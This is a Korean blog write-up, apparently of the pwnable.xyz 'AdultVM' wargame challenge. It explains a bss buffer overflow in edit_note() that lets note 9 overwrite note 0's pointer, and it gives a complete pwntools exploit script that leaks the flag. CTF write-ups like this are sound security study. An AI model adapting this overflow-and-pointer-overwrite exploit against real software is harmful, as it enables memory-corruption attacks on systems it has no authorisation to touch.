블로그 이전했습니다. https://jeongzero.oopy.io/
[pwnable.xyz] AdultVM
본문 바로가기
워게임/pwnable.xyz

[pwnable.xyz] AdultVM

728x90

 

1. 문제


1) mitigation 확인 

VM 문제라서 그런지 이전과는 다르게 뭔가 많이 준다. 확인해볼것들은 userland, kernel, start.py 3개 정도 이다. start.py 코드를 보면 kernel 바이너리를 open하여 VM 환경을 세팅하고, 그 환경 안에서 userland 바이너리가 돌아가는 것으로 보인다. 

NX빼고 다 안걸려있따. 오랜만에. 

 

 

2) 문제 확인 

start.py를 실행시키면, 3개의 메뉴가 나온다. 1번으로 노트 id를 선택하여 내용을 넣을수 있다. 2번으로는 입력한 값을 확인 가능하다. 

 

 

3) 코드 확인 

일단 Note 구조체는 다음과 같이 생겼다. 

 

또한 bss 영역에 존재하는 변수들은 다음과 같다

 

memory 배열은 512바이트 크기를 갖는다. notes 배열은 10바이트 크기이다. 

 

  • edit_note() 함수
    void __cdecl edit_note()
    {
      int id; // [rsp+Ch] [rbp-4h]
    
      do_write(id_str, 9uLL);
      id = get_int();
      if ( id >= 0 && id <= 9 )
      {
        if ( !notes[id].note )
        {
          notes[id].note = &memory[memory_ptr];
          notes[id].size = 0x38LL;
          notes[id].serial = (unsigned int)(((1664525 * id + 0x3C6EF35F) >> 31) + 1664525 * id + 0x3C6EF35F)
                           - ((unsigned __int64)((unsigned __int128)(1664525 * id + 0x3C6EF35F) >> 64) >> 32);
          memory_ptr += notes[id].size;
        }
        do_write(contents_str, 0xBuLL);
        notes[id].id = id;
        notes[id].show = (void (*)(size_t, char *, size_t, uint64_t))print_note;
        notes[id].size = read_line(notes[id].note, 0x40uLL);
      }
    }

note→note 영역에 memory[memory_ptr]주소를 넣는다. ptr은 0부터 +0x38씩 증가가 된다. serial에는 뭔 값이 들어가는데, 의미하는건 뭔지 모르겠다. 어쨋든 여기서 취약점이 발생한다. memory 배열은 512바이트 크기인데 0x38 만큼 인덱스가 증가하므로, 만약 노트가 0 ~ 9까지 만들게 된다면,  

10 * 0x38 = 0x380 이 되어, notes 배열을 침범한다. 

 

그다음 현재 id를 넣고, print_note 함수포인터를 저장한다. 그다음 content를 입력한뒤, 입력한 크기 만큼 size에 넣는다. 

 

 

2. 접근방법


 

id = 0 에 노트를 만들면 메모리는 위 사진처럼 생겼다. 인덱스에는 0 이 들어가고, note 필드에는 해당 memory 주소가 들어간다. 여기서 id = 9인 노트를 만들면 

 

다음처럼 id=0 부분을 침범하여 원하는 값을 쓸수 있다. bss 영역에 0x41000.. 주소에 flag가 들어가 있다. 따라서 note가 담긴 memory 주소부분에 0x41000..을 넣고 size를 넉넉히 주면 끝이다. 

 

 

3. 풀이


최종 익스코드는 다음과 같다. 

from pwn import *
context(log_level="DEBUG")
#p=remote("svc.pwnable.xyz",30048)
#p=process(["python","start.py"])
p=process("./userland")
gdb.attach(p,'code\nb *0x32D+$code\n')

def edit(id,content):
        p.sendlineafter("3. Exit\n","1")
        p.sendlineafter("id: ",str(id))
        p.sendlineafter("ts: ",str(content))

def show(id):
        p.sendlineafter("3. Exit\n","2")
        p.sendlineafter("id: ",str(id))


for i in range(0,9):
        edit(i,"AA")

edit(9,p64(0)*2+p64(0x4100000)+p64(0x100))

show(0)

p.interactive()

 

 

 

 

 

4. 몰랐던 개념


 

728x90

'워게임 > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] AdultVM3  (0) 2020.06.16
[pwnable.xyz] AdultVM2  (0) 2020.06.16
[pwnable.xyz] note v4  (0) 2020.06.14
[pwnable.xyz] fishing  (0) 2020.06.09
[pwnable.xyz] BabyVM  (0) 2020.06.03